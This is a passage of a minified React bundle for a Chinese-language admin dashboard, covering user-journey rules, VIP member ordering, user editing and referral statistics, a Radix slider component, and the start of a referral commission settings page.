Pe=xt[U.id]||0,Ve=Math.max(...Ou.map(Nn=>xt[Nn.id]||0),1),Ge=Math.round(Pe/Ve*100);return s.jsxs("div",{className:"flex items-center gap-2",children:[s.jsxs("span",{className:"text-gray-500 text-xs w-20 shrink-0",children:[U.icon," ",U.label]}),s.jsx("div",{className:"flex-1 h-2 bg-[#0a1628] rounded-full overflow-hidden",children:s.jsx("div",{className:"h-full bg-[#38bdac]/60 rounded-full transition-all",style:{width:`${Ge}%`}})}),s.jsx("span",{className:"text-gray-400 text-xs w-10 text-right",children:Pe})]},U.id)})}):s.jsx("div",{className:"text-center py-8",children:s.jsx("p",{className:"text-gray-500 text-sm",children:"点击「刷新数据」加载统计"})})]})]})]}),s.jsxs(en,{value:"rules",children:[s.jsxs("div",{className:"mb-4 flex items-center justify-between",children:[s.jsx("p",{className:"text-gray-400 text-sm",children:"用户旅程引导规则,定义各行为节点的触发条件与引导内容"}),s.jsxs("div",{className:"flex items-center gap-2",children:[s.jsxs(te,{variant:"outline",onClick:Pt,disabled:lt,className:"border-gray-600 text-gray-300 hover:bg-gray-700/50 bg-transparent",children:[s.jsx(qe,{className:`w-4 h-4 mr-2 ${lt?"animate-spin":""}`})," 刷新"]}),s.jsxs(te,{onClick:()=>{In(null),Yt({title:"",description:"",trigger:"",sort:0,enabled:!0}),yt(!0)},className:"bg-[#38bdac] hover:bg-[#2da396] text-white",children:[s.jsx(hn,{className:"w-4 h-4 mr-2"})," 添加规则"]})]})]}),lt?s.jsx("div",{className:"flex items-center justify-center py-12",children:s.jsx(qe,{className:"w-6 h-6 text-[#38bdac] animate-spin"})}):Re.length===0?s.jsxs("div",{className:"text-center py-16 bg-[#0f2137] rounded-lg border border-gray-700/50",children:[s.jsx(Br,{className:"w-12 h-12 text-[#38bdac]/30 mx-auto mb-4"}),s.jsx("p",{className:"text-gray-400 mb-4",children:"暂无规则(重启服务将自动写入10条默认规则)"}),s.jsxs(te,{onClick:Pt,className:"bg-[#38bdac] hover:bg-[#2da396] text-white",children:[s.jsx(qe,{className:"w-4 h-4 mr-2"})," 重新加载"]})]}):s.jsx("div",{className:"space-y-2",children:Re.map(U=>s.jsx("div",{className:`p-4 rounded-lg border transition-all ${U.enabled?"bg-[#0f2137] border-gray-700/50":"bg-[#0a1628]/50 border-gray-700/30 opacity-55"}`,children:s.jsxs("div",{className:"flex items-start justify-between",children:[s.jsxs("div",{className:"flex-1",children:[s.jsxs("div",{className:"flex items-center gap-2 flex-wrap mb-1",children:[s.jsx(Wt,{className:"w-4 h-4 text-[#38bdac] shrink-0"}),s.jsx("span",{className:"text-white font-medium",children:U.title}),U.trigger&&s.jsxs(We,{className:"bg-[#38bdac]/10 text-[#38bdac] border border-[#38bdac]/30 text-xs",children:["触发:",U.trigger]}),s.jsx(We,{className:`text-xs border-0 ${U.enabled?"bg-green-500/20 text-green-400":"bg-gray-500/20 text-gray-400"}`,children:U.enabled?"启用":"禁用"})]}),U.description&&s.jsx("p",{className:"text-gray-400 text-sm ml-6",children:U.description})]}),s.jsxs("div",{className:"flex items-center gap-2 ml-4 shrink-0",children:[s.jsx(kt,{checked:U.enabled,onCheckedChange:()=>Xs(U)}),s.jsx(te,{variant:"ghost",size:"sm",onClick:()=>{In(U),Yt({title:U.title,description:U.description,trigger:U.trigger,sort:U.sort,enabled:U.enabled}),yt(!0)},className:"text-gray-400 hover:text-[#38bdac] hover:bg-[#38bdac]/10",children:s.jsx(Wt,{className:"w-4 h-4"})}),s.jsx(te,{variant:"ghost",size:"sm",onClick:()=>Qs(U.id),className:"text-red-400 hover:text-red-300 hover:bg-red-500/10",children:s.jsx(Jn,{className:"w-4 h-4"})})]})]})},U.id))})]}),s.jsxs(en,{value:"vip-roles",children:[s.jsxs("div",{className:"mb-4 flex items-center justify-between",children:[s.jsxs("div",{className:"space-y-1",children:[s.jsx("p",{className:"text-gray-400 text-sm",children:"展示当前所有有效的超级个体(VIP 用户),用于检查会员信息与排序值。"}),s.jsx("p",{className:"text-xs text-[#38bdac]",children:"提示:按住任意一行即可拖拽排序,释放后将同步更新小程序展示顺序。"})]}),s.jsx("div",{className:"flex items-center gap-2",children:s.jsxs(te,{variant:"outline",onClick:Wn,disabled:pr,className:"border-gray-600 text-gray-300 hover:bg-gray-700/50 bg-transparent",children:[s.jsx(qe,{className:`w-4 h-4 mr-2 ${pr?"animate-spin":""}`})," ","刷新"]})})]}),pr?s.jsxs("div",{className:"flex items-center justify-center py-12",children:[s.jsx(qe,{className:"w-6 h-6 text-[#38bdac] animate-spin"}),s.jsx("span",{className:"ml-2 text-gray-400",children:"加载中..."})]}):rn.length===0?s.jsxs("div",{className:"text-center py-16 bg-[#0f2137] rounded-lg border border-gray-700/50",children:[s.jsx(yl,{className:"w-12 h-12 text-amber-400/30 mx-auto mb-4"}),s.jsx("p",{className:"text-gray-400 mb-4",children:"当前没有有效的超级个体用户。"})]}):s.jsx(Ce,{className:"bg-[#0f2137] border-gray-700/50 shadow-xl",children:s.jsx(Ee,{className:"p-0",children:s.jsxs(lr,{children:[s.jsx(cr,{children:s.jsxs(it,{className:"bg-[#0a1628] hover:bg-[#0a1628] border-gray-700",children:[s.jsx(ke,{className:"text-gray-400 w-16",children:"序号"}),s.jsx(ke,{className:"text-gray-400",children:"成员"}),s.jsx(ke,{className:"text-gray-400 min-w-48",children:"超级个体标签"}),s.jsx(ke,{className:"text-gray-400 w-24",children:"排序值"}),s.jsx(ke,{className:"text-gray-400 w-40 text-right",children:"操作"})]})}),s.jsx(dr,{children:rn.map((U,Pe)=>{var Nn;const Ve=Hn===U.id,Ge=Ue===U.id;return s.jsxs(it,{draggable:!0,onDragStart:gr=>Ra(gr,U.id),onDragOver:gr=>Hl(gr,U.id),onDrop:gr=>Ot(gr,U.id),onDragEnd:ta,className:`border-gray-700/50 cursor-grab active:cursor-grabbing select-none ${Ve?"opacity-60":""} ${Ge?"bg-[#38bdac]/10":""}`,children:[s.jsx(ve,{className:"text-gray-300",children:Pe+1}),s.jsx(ve,{children:s.jsxs("div",{className:"flex items-center gap-3",children:[U.avatar?s.jsx("img",{src:U.avatar,className:"w-8 h-8 rounded-full object-cover border border-amber-400/60"}):s.jsx("div",{className:"w-8 h-8 rounded-full bg-amber-500/20 border border-amber-400/60 flex items-center justify-center text-amber-300 text-sm",children:((Nn=U.name)==null?void 0:Nn[0])||"创"}),s.jsx("div",{className:"min-w-0",children:s.jsx("div",{className:"text-white text-sm truncate",children:U.name})})]})}),s.jsx(ve,{className:"text-gray-300 whitespace-nowrap",children:U.vipRole||s.jsx("span",{className:"text-gray-500",children:"(未设置超级个体标签)"})}),s.jsx(ve,{className:"text-gray-300",children:U.vipSort??Pe+1}),s.jsx(ve,{className:"text-right text-xs text-gray-300",children:s.jsxs("div",{className:"inline-flex items-center gap-1.5",children:[s.jsx(te,{variant:"ghost",size:"sm",className:"h-7 w-7 px-0 text-amber-300 hover:text-amber-200",onClick:()=>Rs(U),title:"设置超级个体标签",children:s.jsx(zc,{className:"w-3.5 h-3.5"})}),s.jsx(te,{variant:"ghost",size:"sm",className:"h-7 w-7 px-0 text-[#38bdac] hover:text-[#5fe0cd]",onClick:()=>{ue(U.id),V(!0)},title:"编辑资料",children:s.jsx(Wt,{className:"w-3.5 h-3.5"})}),s.jsx(te,{variant:"ghost",size:"sm",className:"h-7 w-7 px-0 text-sky-300 hover:text-sky-200",onClick:()=>qr(U),title:"设置排序序号",children:s.jsx(Em,{className:"w-3.5 h-3.5"})})]})})]},U.id)})})]})})})]})]}),s.jsx(Dt,{open:er,onOpenChange:U=>{Kr(U),U||Rr(null)},children:s.jsxs(At,{className:"bg-[#0f2137] border-gray-700 text-white max-w-sm",children:[s.jsx(Lt,{children:s.jsxs(_t,{className:"text-white flex items-center gap-2",children:[s.jsx(Em,{className:"w-5 h-5 text-[#38bdac]"}),"设置排序 — ",ea==null?void 0:ea.name]})}),s.jsxs("div",{className:"space-y-4 py-4",children:[s.jsx(X,{className:"text-gray-300 text-sm",children:"排序序号(数字越小越靠前)"}),s.jsx(se,{type:"number",className:"bg-[#0a1628] border-gray-700 text-white",placeholder:"如:1",value:Pi,onChange:U=>Aa(U.target.value)})]}),s.jsxs(on,{children:[s.jsxs(te,{variant:"outline",onClick:()=>Kr(!1),className:"border-gray-600 text-gray-300 hover:bg-gray-700/50 bg-transparent",children:[s.jsx(ir,{className:"w-4 h-4 mr-2"}),"取消"]}),s.jsxs(te,{onClick:Gr,disabled:Ro,className:"bg-[#38bdac] hover:bg-[#2da396] text-white",children:[s.jsx(bn,{className:"w-4 h-4 mr-2"}),Ro?"保存中...":"保存"]})]})]})}),s.jsx(Dt,{open:Zs,onOpenChange:U=>{ft(U),U||Ur(null)},children:s.jsxs(At,{className:"bg-[#0f2137] border-gray-700 text-white max-w-md",children:[s.jsx(Lt,{children:s.jsxs(_t,{className:"text-white flex items-center gap-2",children:[s.jsx(yl,{className:"w-5 h-5 text-amber-400"}),"设置超级个体标签 — ",xn==null?void 0:xn.name]})}),s.jsxs("div",{className:"space-y-4 py-4",children:[s.jsx(X,{className:"text-gray-300 text-sm",children:"选择或输入标签"}),s.jsx("div",{className:"flex flex-wrap gap-2",children:hs.map(U=>s.jsx(te,{variant:Ir===U?"default":"outline",size:"sm",className:Ir===U?"bg-[#38bdac] hover:bg-[#2da396] text-white":"border-gray-600 text-gray-300 hover:bg-gray-700/50",onClick:()=>ds(U),children:U},U))}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-400 text-xs",children:"或手动输入"}),s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white",placeholder:"如:创业者、资源整合者等",value:Ir,onChange:U=>ds(U.target.value)})]})]}),s.jsxs(on,{children:[s.jsxs(te,{variant:"outline",onClick:()=>ft(!1),className:"border-gray-600 text-gray-300 hover:bg-gray-700/50 bg-transparent",children:[s.jsx(ir,{className:"w-4 h-4 mr-2"}),"取消"]}),s.jsxs(te,{onClick:()=>Ma(Ir),disabled:Dn,className:"bg-[#38bdac] hover:bg-[#2da396] text-white",children:[s.jsx(bn,{className:"w-4 h-4 mr-2"}),Dn?"保存中...":"保存"]})]})]})}),s.jsx(Dt,{open:Z,onOpenChange:ne,children:s.jsxs(At,{className:"bg-[#0f2137] border-gray-700 text-white max-w-lg",children:[s.jsx(Lt,{children:s.jsxs(_t,{className:"text-white flex items-center gap-2",children:[fe?s.jsx(Wt,{className:"w-5 h-5 text-[#38bdac]"}):s.jsx(Lg,{className:"w-5 h-5 text-[#38bdac]"}),fe?"编辑用户":"添加用户"]})}),s.jsxs("div",{className:"space-y-4 py-4",children:[s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"手机号"}),s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white",placeholder:"请输入手机号",value:ce.phone,onChange:U=>ye({...ce,phone:U.target.value})})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"昵称"}),s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white",placeholder:"请输入昵称",value:ce.nickname,onChange:U=>ye({...ce,nickname:U.target.value})})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:fe?"新密码 (留空则不修改)":"密码"}),s.jsx(se,{type:"password",className:"bg-[#0a1628] border-gray-700 text-white",placeholder:fe?"留空则不修改":"请输入密码",value:ce.password,onChange:U=>ye({...ce,password:U.target.value})})]}),s.jsxs("div",{className:"flex items-center justify-between",children:[s.jsx(X,{className:"text-gray-300",children:"管理员权限"}),s.jsx(kt,{checked:ce.isAdmin,onCheckedChange:U=>ye({...ce,isAdmin:U})})]}),s.jsxs("div",{className:"flex items-center justify-between",children:[s.jsx(X,{className:"text-gray-300",children:"已购全书"}),s.jsx(kt,{checked:ce.hasFullBook,onCheckedChange:U=>ye({...ce,hasFullBook:U})})]})]}),s.jsxs(on,{children:[s.jsxs(te,{variant:"outline",onClick:()=>ne(!1),className:"border-gray-600 text-gray-300 hover:bg-gray-700/50 bg-transparent",children:[s.jsx(ir,{className:"w-4 h-4 mr-2"}),"取消"]}),s.jsxs(te,{onClick:pe,disabled:$,className:"bg-[#38bdac] hover:bg-[#2da396] text-white",children:[s.jsx(bn,{className:"w-4 h-4 mr-2"}),$?"保存中...":"保存"]})]})]})}),s.jsx(Dt,{open:ln,onOpenChange:yt,children:s.jsxs(At,{className:"bg-[#0f2137] border-gray-700 text-white max-w-lg",children:[s.jsx(Lt,{children:s.jsxs(_t,{className:"text-white flex items-center gap-2",children:[s.jsx(Wt,{className:"w-5 h-5 text-[#38bdac]"}),nn?"编辑规则":"添加规则"]})}),s.jsxs("div",{className:"space-y-4 py-4",children:[s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"规则标题 *"}),s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white",placeholder:"例:匹配后填写头像、付款1980需填写信息",value:Mt.title,onChange:U=>Yt({...Mt,title:U.target.value})})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"规则描述"}),s.jsx(_l,{className:"bg-[#0a1628] border-gray-700 text-white min-h-[80px] resize-none",placeholder:"详细说明规则内容...",value:Mt.description,onChange:U=>Yt({...Mt,description:U.target.value})})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"触发条件"}),s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white",placeholder:"例:完成匹配、付款后、注册时",value:Mt.trigger,onChange:U=>Yt({...Mt,trigger:U.target.value})})]}),s.jsxs("div",{className:"flex items-center justify-between",children:[s.jsx("div",{children:s.jsx(X,{className:"text-gray-300",children:"启用状态"})}),s.jsx(kt,{checked:Mt.enabled,onCheckedChange:U=>Yt({...Mt,enabled:U})})]})]}),s.jsxs(on,{children:[s.jsxs(te,{variant:"outline",onClick:()=>yt(!1),className:"border-gray-600 text-gray-300 hover:bg-gray-700/50 bg-transparent",children:[s.jsx(ir,{className:"w-4 h-4 mr-2"}),"取消"]}),s.jsxs(te,{onClick:On,disabled:$,className:"bg-[#38bdac] hover:bg-[#2da396] text-white",children:[s.jsx(bn,{className:"w-4 h-4 mr-2"}),$?"保存中...":"保存"]})]})]})}),s.jsx(Dt,{open:oe,onOpenChange:P,children:s.jsxs(At,{className:"bg-[#0f2137] border-gray-700 text-white max-w-2xl max-h-[80vh] overflow-auto",children:[s.jsx(Lt,{children:s.jsxs(_t,{className:"text-white flex items-center gap-2",children:[s.jsx(Zn,{className:"w-5 h-5 text-[#38bdac]"}),"绑定关系 - ",le==null?void 0:le.nickname]})}),s.jsxs("div",{className:"space-y-4 py-4",children:[s.jsxs("div",{className:"grid grid-cols-4 gap-3",children:[s.jsxs("div",{className:"bg-[#0a1628] rounded-lg p-3 text-center",children:[s.jsx("div",{className:"text-2xl font-bold text-[#38bdac]",children:((fs=q.stats)==null?void 0:fs.total)||0}),s.jsx("div",{className:"text-xs text-gray-400",children:"绑定总数"})]}),s.jsxs("div",{className:"bg-[#0a1628] rounded-lg p-3 text-center",children:[s.jsx("div",{className:"text-2xl font-bold text-green-400",children:((Di=q.stats)==null?void 0:Di.purchased)||0}),s.jsx("div",{className:"text-xs text-gray-400",children:"已付费"})]}),s.jsxs("div",{className:"bg-[#0a1628] rounded-lg p-3 text-center",children:[s.jsxs("div",{className:"text-2xl font-bold text-yellow-400",children:["¥",(((Ps=q.stats)==null?void 0:Ps.earnings)||0).toFixed(2)]}),s.jsx("div",{className:"text-xs text-gray-400",children:"累计收益"})]}),s.jsxs("div",{className:"bg-[#0a1628] rounded-lg p-3 text-center",children:[s.jsxs("div",{className:"text-2xl font-bold text-orange-400",children:["¥",(((Li=q.stats)==null?void 0:Li.pendingEarnings)||0).toFixed(2)]}),s.jsx("div",{className:"text-xs text-gray-400",children:"待提现"})]})]}),_?s.jsxs("div",{className:"flex items-center justify-center py-8",children:[s.jsx(qe,{className:"w-5 h-5 text-[#38bdac] animate-spin"}),s.jsx("span",{className:"ml-2 text-gray-400",children:"加载中..."})]}):(((Pa=q.referrals)==null?void 0:Pa.length)??0)>0?s.jsx("div",{className:"space-y-2 max-h-[300px] overflow-y-auto",children:(q.referrals??[]).map((U,Pe)=>{var Ge;const Ve=U;return s.jsxs("div",{className:"flex items-center justify-between bg-[#0a1628] rounded-lg p-3",children:[s.jsxs("div",{className:"flex items-center gap-3",children:[s.jsx("div",{className:"w-8 h-8 rounded-full bg-[#38bdac]/20 flex items-center justify-center text-sm text-[#38bdac]",children:((Ge=Ve.nickname)==null?void 0:Ge.charAt(0))||"?"}),s.jsxs("div",{children:[s.jsx("div",{className:"text-white text-sm",children:Ve.nickname}),s.jsx("div",{className:"text-xs text-gray-500",children:Ve.phone||(Ve.hasOpenId?"微信用户":"未绑定")})]})]}),s.jsxs("div",{className:"flex items-center gap-2",children:[Ve.status==="vip"&&s.jsx(We,{className:"bg-green-500/20 text-green-400 border-0 text-xs",children:"全书已购"}),Ve.status==="paid"&&s.jsxs(We,{className:"bg-blue-500/20 text-blue-400 border-0 text-xs",children:["已付费",Ve.purchasedSections,"章"]}),Ve.status==="free"&&s.jsx(We,{className:"bg-gray-500/20 text-gray-400 border-0 text-xs",children:"未付费"}),s.jsx("span",{className:"text-xs text-gray-500",children:Ve.createdAt?new Date(Ve.createdAt).toLocaleDateString():""})]})]},Ve.id||Pe)})}):s.jsx("div",{className:"text-center py-8 text-gray-500",children:"暂无绑定用户"})]}),s.jsx(on,{children:s.jsx(te,{variant:"outline",onClick:()=>P(!1),className:"border-gray-600 text-gray-300 hover:bg-gray-700/50 bg-transparent",children:"关闭"})})]})}),s.jsx(n0,{open:Y,onClose:()=>V(!1),userId:re,onUserUpdated:Rt})]})}function mh(t,[e,n]){return Math.min(n,Math.max(e,t))}var kk=["PageUp","PageDown"],Sk=["ArrowUp","ArrowDown","ArrowLeft","ArrowRight"],Ck={"from-left":["Home","PageDown","ArrowDown","ArrowLeft"],"from-right":["Home","PageDown","ArrowDown","ArrowRight"],"from-bottom":["Home","PageDown","ArrowDown","ArrowLeft"],"from-top":["Home","PageDown","ArrowUp","ArrowLeft"]},zl="Slider",[Bg,mP,gP]=Xx(zl),[Ek]=Ei(zl,[gP]),[xP,wf]=Ek(zl),Tk=b.forwardRef((t,e)=>{const{name:n,min:r=0,max:a=100,step:i=1,orientation:o="horizontal",disabled:c=!1,minStepsBetweenThumbs:u=0,defaultValue:h=[r],value:f,onValueChange:m=()=>{},onValueCommit:g=()=>{},inverted:y=!1,form:N,...w}=t,v=b.useRef(new Set),k=b.useRef(0),E=o==="horizontal"?yP:bP,[T=[],I]=xo({prop:f,defaultProp:h,onChange:Z=>{var fe;(fe=[...v.current][k.current])==null||fe.focus(),m(Z)}}),O=b.useRef(T);function L(Z){const ne=kP(T,Z);z(Z,ne)}function R(Z){z(Z,k.current)}function D(){const Z=O.current[k.current];T[k.current]!==Z&&g(T)}function z(Z,ne,{commit:fe}={commit:!1}){const xe=TP(i),$=MP(Math.round((Z-r)/i)*i+r,xe),H=mh($,[r,a]);I((oe=[])=>{const P=wP(oe,H,ne);if(EP(P,u*i)){k.current=P.indexOf(H);const q=String(P)!==String(oe);return q&&fe&&g(P),q?P:oe}else return oe})}return s.jsx(xP,{scope:t.__scopeSlider,name:n,disabled:c,min:r,max:a,valueIndexToChangeRef:k,thumbs:v.current,values:T,orientation:o,form:N,children:s.jsx(Bg.Provider,{scope:t.__scopeSlider,children:s.jsx(Bg.Slot,{scope:t.__scopeSlider,children:s.jsx(E,{"aria-disabled":c,"data-disabled":c?"":void 0,...w,ref:e,onPointerDown:ot(w.onPointerDown,()=>{c||(O.current=T)}),min:r,max:a,inverted:y,onSlideStart:c?void 0:L,onSlideMove:c?void 0:R,onSlideEnd:c?void 0:D,onHomeKeyDown:()=>!c&&z(r,0,{commit:!0}),onEndKeyDown:()=>!c&&z(a,T.length-1,{commit:!0}),onStepKeyDown:({event:Z,direction:ne})=>{if(!c){const $=kk.includes(Z.key)||Z.shiftKey&&Sk.includes(Z.key)?10:1,H=k.current,oe=T[H],P=i*$*ne;z(oe+P,H,{commit:!0})}}})})})})});Tk.displayName=zl;var[Mk,Ak]=Ek(zl,{startEdge:"left",endEdge:"right",size:"width",direction:1}),yP=b.forwardRef((t,e)=>{const{min:n,max:r,dir:a,inverted:i,onSlideStart:o,onSlideMove:c,onSlideEnd:u,onStepKeyDown:h,...f}=t,[m,g]=b.useState(null),y=Ct(e,E=>g(E)),N=b.useRef(void 0),w=bf(a),v=w==="ltr",k=v&&!i||!v&&i;function C(E){const T=N.current||m.getBoundingClientRect(),I=[0,T.width],L=s0(I,k?[n,r]:[r,n]);return N.current=T,L(E-T.left)}return s.jsx(Mk,{scope:t.__scopeSlider,startEdge:k?"left":"right",endEdge:k?"right":"left",direction:k?1:-1,size:"width",children:s.jsx(Ik,{dir:w,"data-orientation":"horizontal",...f,ref:y,style:{...f.style,"--radix-slider-thumb-transform":"translateX(-50%)"},onSlideStart:E=>{const T=C(E.clientX);o==null||o(T)},onSlideMove:E=>{const T=C(E.clientX);c==null||c(T)},onSlideEnd:()=>{N.current=void 0,u==null||u()},onStepKeyDown:E=>{const I=Ck[k?"from-left":"from-right"].includes(E.key);h==null||h({event:E,direction:I?-1:1})}})})}),bP=b.forwardRef((t,e)=>{const{min:n,max:r,inverted:a,onSlideStart:i,onSlideMove:o,onSlideEnd:c,onStepKeyDown:u,...h}=t,f=b.useRef(null),m=Ct(e,f),g=b.useRef(void 0),y=!a;function N(w){const v=g.current||f.current.getBoundingClientRect(),k=[0,v.height],E=s0(k,y?[r,n]:[n,r]);return g.current=v,E(w-v.top)}return s.jsx(Mk,{scope:t.__scopeSlider,startEdge:y?"bottom":"top",endEdge:y?"top":"bottom",size:"height",direction:y?1:-1,children:s.jsx(Ik,{"data-orientation":"vertical",...h,ref:m,style:{...h.style,"--radix-slider-thumb-transform":"translateY(50%)"},onSlideStart:w=>{const v=N(w.clientY);i==null||i(v)},onSlideMove:w=>{const v=N(w.clientY);o==null||o(v)},onSlideEnd:()=>{g.current=void 0,c==null||c()},onStepKeyDown:w=>{const k=Ck[y?"from-bottom":"from-top"].includes(w.key);u==null||u({event:w,direction:k?-1:1})}})})}),Ik=b.forwardRef((t,e)=>{const{__scopeSlider:n,onSlideStart:r,onSlideMove:a,onSlideEnd:i,onHomeKeyDown:o,onEndKeyDown:c,onStepKeyDown:u,...h}=t,f=wf(zl,n);return s.jsx(ht.span,{...h,ref:e,onKeyDown:ot(t.onKeyDown,m=>{m.key==="Home"?(o(m),m.preventDefault()):m.key==="End"?(c(m),m.preventDefault()):kk.concat(Sk).includes(m.key)&&(u(m),m.preventDefault())}),onPointerDown:ot(t.onPointerDown,m=>{const g=m.target;g.setPointerCapture(m.pointerId),m.preventDefault(),f.thumbs.has(g)?g.focus():r(m)}),onPointerMove:ot(t.onPointerMove,m=>{m.target.hasPointerCapture(m.pointerId)&&a(m)}),onPointerUp:ot(t.onPointerUp,m=>{const g=m.target;g.hasPointerCapture(m.pointerId)&&(g.releasePointerCapture(m.pointerId),i(m))})})}),Rk="SliderTrack",Pk=b.forwardRef((t,e)=>{const{__scopeSlider:n,...r}=t,a=wf(Rk,n);return s.jsx(ht.span,{"data-disabled":a.disabled?"":void 0,"data-orientation":a.orientation,...r,ref:e})});Pk.displayName=Rk;var Vg="SliderRange",Ok=b.forwardRef((t,e)=>{const{__scopeSlider:n,...r}=t,a=wf(Vg,n),i=Ak(Vg,n),o=b.useRef(null),c=Ct(e,o),u=a.values.length,h=a.values.map(g=>_k(g,a.min,a.max)),f=u>1?Math.min(...h):0,m=100-Math.max(...h);return s.jsx(ht.span,{"data-orientation":a.orientation,"data-disabled":a.disabled?"":void 0,...r,ref:c,style:{...t.style,[i.startEdge]:f+"%",[i.endEdge]:m+"%"}})});Ok.displayName=Vg;var Hg="SliderThumb",Dk=b.forwardRef((t,e)=>{const n=mP(t.__scopeSlider),[r,a]=b.useState(null),i=Ct(e,c=>a(c)),o=b.useMemo(()=>r?n().findIndex(c=>c.ref.current===r):-1,[n,r]);return s.jsx(vP,{...t,ref:i,index:o})}),vP=b.forwardRef((t,e)=>{const{__scopeSlider:n,index:r,name:a,...i}=t,o=wf(Hg,n),c=Ak(Hg,n),[u,h]=b.useState(null),f=Ct(e,C=>h(C)),m=u?o.form||!!u.closest("form"):!0,g=t0(u),y=o.values[r],N=y===void 0?0:_k(y,o.min,o.max),w=jP(r,o.values.length),v=g==null?void 0:g[c.size],k=v?SP(v,N,c.direction):0;return b.useEffect(()=>{if(u)return o.thumbs.add(u),()=>{o.thumbs.delete(u)}},[u,o.thumbs]),s.jsxs("span",{style:{transform:"var(--radix-slider-thumb-transform)",position:"absolute",[c.startEdge]:`calc(${N}% + ${k}px)`},children:[s.jsx(Bg.ItemSlot,{scope:t.__scopeSlider,children:s.jsx(ht.span,{role:"slider","aria-label":t["aria-label"]||w,"aria-valuemin":o.min,"aria-valuenow":y,"aria-valuemax":o.max,"aria-orientation":o.orientation,"data-orientation":o.orientation,"data-disabled":o.disabled?"":void 0,tabIndex:o.disabled?void 0:0,...i,ref:f,style:y===void 0?{display:"none"}:t.style,onFocus:ot(t.onFocus,()=>{o.valueIndexToChangeRef.current=r})})}),m&&s.jsx(Lk,{name:a??(o.name?o.name+(o.values.length>1?"[]":""):void 0),form:o.form,value:y},r)]})});Dk.displayName=Hg;var NP="RadioBubbleInput",Lk=b.forwardRef(({__scopeSlider:t,value:e,...n},r)=>{const a=b.useRef(null),i=Ct(a,r),o=e0(e);return b.useEffect(()=>{const c=a.current;if(!c)return;const u=window.HTMLInputElement.prototype,f=Object.getOwnPropertyDescriptor(u,"value").set;if(o!==e&&f){const m=new Event("input",{bubbles:!0});f.call(c,e),c.dispatchEvent(m)}},[o,e]),s.jsx(ht.input,{style:{display:"none"},...n,ref:i,defaultValue:e})});Lk.displayName=NP;function wP(t=[],e,n){const r=[...t];return r[n]=e,r.sort((a,i)=>a-i)}function _k(t,e,n){const i=100/(n-e)*(t-e);return mh(i,[0,100])}function jP(t,e){return e>2?`Value ${t+1} of ${e}`:e===2?["Minimum","Maximum"][t]:void 0}function kP(t,e){if(t.length===1)return 0;const n=t.map(a=>Math.abs(a-e)),r=Math.min(...n);return n.indexOf(r)}function SP(t,e,n){const r=t/2,i=s0([0,50],[0,r]);return(r-i(e)*n)*n}function CP(t){return t.slice(0,-1).map((e,n)=>t[n+1]-e)}function EP(t,e){if(e>0){const n=CP(t);return Math.min(...n)>=e}return!0}function s0(t,e){return n=>{if(t[0]===t[1]||e[0]===e[1])return e[0];const r=(e[1]-e[0])/(t[1]-t[0]);return e[0]+r*(n-t[0])}}function TP(t){return(String(t).split(".")[1]||"").length}function MP(t,e){const n=Math.pow(10,e);return Math.round(t*n)/n}var AP=Tk,IP=Pk,RP=Ok,PP=Dk;function OP({className:t,defaultValue:e,value:n,min:r=0,max:a=100,...i}){const o=b.useMemo(()=>Array.isArray(n)?n:Array.isArray(e)?e:[r,a],[n,e,r,a]);return s.jsxs(AP,{defaultValue:e,value:n,min:r,max:a,className:Et("relative flex w-full touch-none items-center select-none data-[disabled]:opacity-50",t),...i,children:[s.jsx(IP,{className:"bg-gray-600 relative grow overflow-hidden rounded-full h-1.5 w-full",children:s.jsx(RP,{className:"bg-[#38bdac] absolute h-full rounded-full"})}),Array.from({length:o.length},(c,u)=>s.jsx(PP,{className:"block size-4 shrink-0 rounded-full border-2 border-[#38bdac] bg-white shadow-sm focus-visible:ring-2 focus-visible:ring-[#38bdac] focus-visible:ring-offset-2 disabled:pointer-events-none disabled:opacity-50"},u))]})}const DP={distributorShare:90,minWithdrawAmount:10,bindingDays:30,userDiscount:5,enableAutoWithdraw:!1,vipOrderShareVip:20,vipOrderShareNonVip:10};function zk(t){const[e,n]=b.useState(DP),[r,a]=b.useState(!0),[i,o]=b.useState(!1);b.useEffect(()=>{De("/api/admin/referral-settings").then(h=>{const f=h==null?void 0:h.data;f&&typeof f=="object"&&n({distributorShare:f.distributorShare??90,minWithdrawAmount:f.minWithdrawAmount??10,bindingDays:f.bindingDays??30,userDiscount:f.userDiscount??5,enableAutoWithdraw:f.enableAutoWithdraw??!1,vipOrderShareVip:f.vipOrderShareVip??20,vipOrderShareNonVip:f.vipOrderShareNonVip??10})}).catch(console.error).finally(()=>a(!1))},[]);const c=async()=>{o(!0);try{const h={distributorShare:Number(e.distributorShare)||0,minWithdrawAmount:Number(e.minWithdrawAmount)||0,bindingDays:Number(e.bindingDays)||0,userDiscount:Number(e.userDiscount)||0,enableAutoWithdraw:!!e.enableAutoWithdraw,vipOrderShareVip:Number(e.vipOrderShareVip)||20,vipOrderShareNonVip:Number(e.vipOrderShareNonVip)||10},f=await vt("/api/admin/referral-settings",h);if(!f||f.success===!1){ie.error("保存失败: "+(f&&typeof f=="object"&&"error"in f?f.error:""));return}ie.success(`✅ 分销配置已保存成功! • 小程序与网站的推广规则会一起生效 • 绑定关系会使用新的天数配置 • 佣金比例会立即应用到新订单 -如有缓存,请刷新前台/小程序页面。`)}catch(h){console.error(h),ie.error("保存失败: "+(h instanceof Error?h.message:String(h)))}finally{o(!1)}},u=h=>f=>{const m=parseFloat(f.target.value||"0");n(g=>({...g,[h]:isNaN(m)?0:m}))};return r?s.jsx("div",{className:"p-8 text-gray-500",children:"加载中..."}):s.jsxs("div",{className:"p-8 w-full",children:[s.jsxs("div",{className:"flex justify-between items-center mb-8",children:[s.jsxs("div",{children:[s.jsxs("h2",{className:"text-2xl font-bold text-white flex items-center gap-2",children:[s.jsx(jl,{className:"w-5 h-5 text-[#38bdac]"}),"推广 / 